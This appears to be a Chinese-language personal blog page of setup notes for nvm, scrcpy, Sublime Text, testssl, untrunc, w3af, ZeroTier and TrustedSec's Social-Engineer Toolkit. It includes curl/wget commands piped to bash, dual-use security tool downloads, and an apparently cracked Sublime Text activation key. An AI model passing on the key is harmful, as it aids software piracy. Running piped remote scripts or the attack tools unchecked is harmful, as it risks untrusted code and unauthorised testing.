python manage.py renserver y [IP:Port]/python manage.py run
浏览器访问:http://IP:Port(自己的IP和端口)

Nvm——指定nodejs版本安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 安装nodejs:
sudo apt-get install build-essential
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.0/install.sh | bash
或者
wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.0/install.sh | bash
nvm install 4.2.2 或者 nvm install 4.2
# 列出远程服务器上所有的可用版本:
nvm ls-remote 或者windows :nvm ls available
# 在不同版本间切换:
nvm use 4.2.2
# 列出已安装实例:
nvm ls
# 直接运行特定版本的 Node:
nvm run 4.2.2 --version
# 在当前终端的子进程中运行特定版本的 Node
nvm exec 4.2.2 node --version
# 确认某个版本Node的路径
nvm which 4.2.2
# 安装 Node 的其他实现,例如 iojs(一个基于 ES6 的 Node 实现,现在已经和 Node 合并)
nvm install iojs-v3.2.0
# 安装cnpm,定制淘宝镜像:
npm install -g cnpm --registry=https://registry.npm.taobao.org

Scrcpy——安卓手机投屏(已包含在debian sid仓库)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
git clone https://github.com/Genymobile/scrcpy
https://github.com/Genymobile/scrcpy
======================================================================================
git clone https://github.com/Genymobile/scrcpy.git
sudo apt install ffmpeg libsdl2-2.0-0 adb
sudo apt install gcc git pkg-config meson ninja-build libavcodec-dev libavformat-dev libavutil-dev libsdl2-dev
cd scrcpy
meson x --buildtype release --strip -Db_lto=true
ninja -Cx
下载https://github.com/Genymobile/scrcpy/releases/download/v1.12.1/scrcpy-server-v1.12.1
改名scrcpy-server放到./x/server/
./run x
======================================================================================
# 说明文档
# runtime dependencies
sudo apt install ffmpeg libsdl2-2.0.0
# client build dependencies
sudo apt install make gcc pkg-config meson ninja-build \
libavcodec-dev libavformat-dev libavutil-dev \
libsdl2-dev
# server build dependencies
sudo apt install openjdk-8-jdk
#On old versions (like Ubuntu 16.04), meson is too old. In that case, install it from pip3:
sudo apt install python3-pip
pip3 install meson
#If you want to build the server, install the Android SDK (Android Studio), and set ANDROID_HOME to its directory. For example:
export ANDROID_HOME=~/android/sdk //PATH!
git clone https://github.com/Genymobile/scrcpy
cd scrcpy
meson x --buildtype release --strip -Db_lto=true
cd x
ninja
#Note: ninja must be run as a non-root user (only ninja install must be run as root).
#To run without installing:
./run x [options] //直接运行
#Prebuilt server
scrcpy-server-v1.8.jar
#(SHA-256: 839055ef905903bf98ead1b9b8a127fe402b39ad657a81f9a914b2dbcb2ce5c0)
Download the prebuilt server somewhere, and specify its path during the Meson configuration:
meson x --buildtype release --strip -Db_lto=true \
-Dprebuilt_server=/path/to/scrcpy-server.jar
cd x
ninja
sudo ninja install
######################################################################################
scrcpy:
sudo apt install ffmpeg libsdl2-2.0-0
sudo apt install make gcc git pkg-config meson ninja-build \
libavcodec-dev libavformat-dev libavutil-dev \
libsdl2-dev
sudo apt install openjdk-8-jdk
sudo apt install python3-pip
pip3 install meson
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
If you want to build the server, install the Android SDK (Android Studio), and set ANDROID_HOME to its directory. For example:
export ANDROID_HOME=~/android/sdk
If you don't want to build the server, use the prebuilt server.
Clone the project:
git clone https://github.com/Genymobile/scrcpy
cd scrcpy
Then, build:
meson x --buildtype release --strip -Db_lto=true
cd x
ninja
Note: ninja must be run as a non-root user (only ninja install must be run as root).
Run
To run without installing:
./run x [options]
Install
After a successful build, you can install scrcpy on the system:
sudo ninja install # without sudo on Windows
This installs two files:
/usr/local/bin/scrcpy
/usr/local/share/scrcpy/scrcpy-server.jar
Just remove them to "uninstall" the application.
You can then run scrcpy.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
git clone https://github.com/Genymobile/scrcpy
cd scrcpy
./run x

S.E.T.

1
2
wget https://github.com/trustedsec/social-engineer-toolkit/archive/7.4.5.tar.gz -O set_7.4.5.orig.tar.gz
tar xvf set_7.4.5.orig.tar.gz

Sublime-text 3

  • 安装后改中文

    1
    2
    3
    4
    Tool-Install Package Control
    Preferences->Package Control
    install Package
    ChineseLocalizations
  • 配置Python开发环境

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    # 查询安装路径:
    type -a python3
    # Anaconda为必装插件
    # 然后:build system:
    # Windows:
    {
    "cmd": ["D:/Anaconda3/python.exe","-u","$file"],
    "file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)",
    "selector": "source.python",
    }
    # Linux:
    {
    "cmd": ["/usr/bin/python3","-u","$file"],
    "file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)",
    "selector": "source.python",
    }

    /home/jessie/.config/sublime-text-3/Packages/User/python3.7.sublime-build

    # 设置sublime显示空格:
    "draw_white_space":"all",
  • 激活码——不保证能用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 未测试过的激活码
    sgbteam
    Single User License
    EA7E-1153259
    8891CBB9 F1513E4F 1A3405C1 A865D53F
    115F202E 7B91AB2D 0D2A40ED 352B269B
    76E84F0B CD69BFC7 59F2DFEF E267328F
    215652A3 E88F9D8F 4C38E3BA 5B2DAAE4
    969624E7 DC9CD4D5 717FB40C 1B9738CF
    20B3C4F1 E917B5B3 87C38D9C ACCE7DD8
    5F7EF854 86B9743C FADC04AA FB0DA5C0
    F913BE58 42FEA319 F954EFDD AE881E0B

Testssl

1
2
3
4
https://testssl.sh/testssl.sh
wget https://testssl.sh/testssl.sh
chmod +x testssl.sh
./testssl.sh <target URI>

untrunc——MOV视频修复软件

修复DJI O4和O4Pro请看djifix.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
用途:用**正常同源 MP4** 重建**损坏 MP4** 的 `moov` 索引。
前提:有正常参考文件;损坏文件体积正常;`ffprobe` 报 `moov atom not found`。
用法(按顺序):
```bash
./untrunc 正常.mp4 损坏.mp4
./untrunc -s 正常.mp4 损坏.mp4
./untrunc -s -d 正常.mp4 损坏.mp4
./untrunc -s -d -k 正常.mp4 损坏.mp4
```
参数:
* `-s` 跳错(DJI/行车记录仪常用)
* `-d` 忽略私有元数据轨(djmd/dbgi)
* `-k` 只保留视频轨
成功:生成 `*_fixed.mp4`,`ffprobe` 不再报 `moov atom not found`。
失败:无 SPS/PPS、`dimensions not set`(AVCC 且 moov 丢失)→ untrunc 无法修。
修后:
```bash
ffmpeg -fflags +genpts -i 修复后.mp4 -map 0:v:0 -c copy final.mp4
```

W3AF

1
2
3
4
5
6
https://github.com/andresriancho/w3af
git clone https://github.com/andresriancho/w3af.git
cd w3af
./w3af_gui
cd /tmp
./w3af_dependency_install.sh

Zerotier

1
2
Planet:
https://github.com/xubiaolin/docker-zerotier-planet

If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !